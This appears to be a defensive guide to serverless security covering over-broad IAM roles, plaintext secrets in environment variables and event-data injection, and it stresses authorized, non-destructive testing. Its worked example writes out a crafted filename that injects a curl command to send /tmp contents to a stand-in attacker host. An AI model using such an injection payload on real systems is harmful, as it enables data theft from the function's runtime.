Direct answer
Securing serverless functions that process external input means designing for the fact that the function's execution role and its event source are the entire attack surface, since there is no host or network perimeter to fall back on. Three vulnerability classes dominate (excessive permissions, insecure environment variables, event-data injection), each needs its own testing approach as a penetration tester, and the deployment pattern and identity and access management (IAM) practices that prevent them are the same regardless of which cloud runs the function.
Structured elaboration
Common serverless-specific vulnerabilities.
| Vulnerability | What it looks like |
|---|
| Excessive permissions | The function's execution role grants wildcard actions or resources, or holds a sensitive action it never uses (iam:PassRole, broad s3:*), typically because scoping per function was skipped in favor of reusing a broad "known working" role |
| Insecure environment variables | Secrets stored as plaintext environment variables rather than referenced from a managed secret store, readable by anyone with permission to view the function's configuration, not only by the function's own runtime |
| Event-data injection | The function trusts a field from its triggering event (an object storage key, a queue message body, an API Gateway path parameter) and uses it unsafely downstream, in a shell command, a file path, or a database query, letting whoever can produce that event influence what the function executes |
How to test for each, as a penetration tester. Enumerate the execution role's policies through read-only calls and validate any suspected over-permission with a policy simulator rather than by invoking the function with a crafted payload; read the function's configuration to check for plaintext secrets in environment variables rather than in a referenced secret store; and, for event-data injection, trace every field of the function's actual trigger payload (not just the ones the developer intended to use) to see which reach a sensitive sink (a subprocess call, a file path, a query string) without being validated or sanitized first. All three are identifiable through configuration review and controlled, authorized test-event submission, without needing destructive action against production.
Recommended secure deployment patterns.
- One execution role per function, scoped to that function's actual resources, rather than a role shared across a service's several functions; generate the initial scope from the function's actual call history using access-analysis tooling, then review it, rather than hand-guessing.
- Secrets resolved at invocation time from a managed secret store (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault), referenced by an identifier in the function's configuration, never embedded as a plaintext environment variable or baked into the deployment package.
- Treat every field of the triggering event as untrusted input, applying the same validation discipline a web application applies to a request body: allow-list expected shapes, reject anything else, and never interpolate an event field directly into a shell command or file path.
- Least-privilege event source configuration. An API Gateway route should require authentication (IAM authorization or a JSON Web Token (JWT) authorizer) rather than being left open by default, and an object-storage trigger should be scoped to the specific prefix or event type the function actually needs to react to, not the whole bucket.
Worked example
A function triggered by object-storage uploads is meant to generate a thumbnail and write it to a processed-images bucket. It reads the uploaded object's key directly from the event payload and passes it, unsanitized, to a shell command that invokes an image-processing binary with the key as a filename argument. An attacker who can control the uploaded filename (any external user with upload access) uploads a file named thumb.jpg; curl attacker.example/exfil?data=$(cat /tmp/*), and if the shell command construction is naive string interpolation rather than an argument array, the embedded command executes on the function's runtime. As a penetration tester, this is identified by reading the function's source (or, if source is unavailable, by submitting an authorized test event with a crafted key value observing behavior through logs, never actually exfiltrating anything) rather than by exploiting it against production. The fix is not a single control but two independent ones: pass the filename as an argument array element rather than interpolating it into a command string (removing the injection vector entirely), and scope the function's execution role narrowly enough that even a successful injection cannot reach anything beyond the two buckets it legitimately touches.
Trade-offs and pitfalls
- Policy-simulator-based testing has a real limit. It confirms what the IAM policy allows, not what the function's own code path actually does with those permissions; the event-data-injection finding in the worked example is invisible to a policy simulator entirely; that vulnerability class requires reading code or observing crafted-event behavior, not permission analysis.
- Environment-variable encryption at rest is not the same control as restricting who can read the function's configuration. A team that enables the provider's default encryption and considers the environment-variable finding closed has not addressed the actual exposure, which is IAM permission to read the function's configuration in the first place, not the storage-layer encryption.
- Scoping a role from historical call data can under-scope for a legitimate rare path, the same risk that applies to any access-analysis-driven least-privilege exercise; a canary or monitored rollout period before fully cutting over avoids breaking a genuine but infrequent code path.
- A common wrong turn is validating only the fields a function's happy-path code reads, and skipping fields a developer assumed were "just metadata." In the worked example, the object key is exactly that kind of field: it looks like routing information, not user input, which is precisely why it is easy to miss in a review that only checks the fields the function's business logic obviously depends on.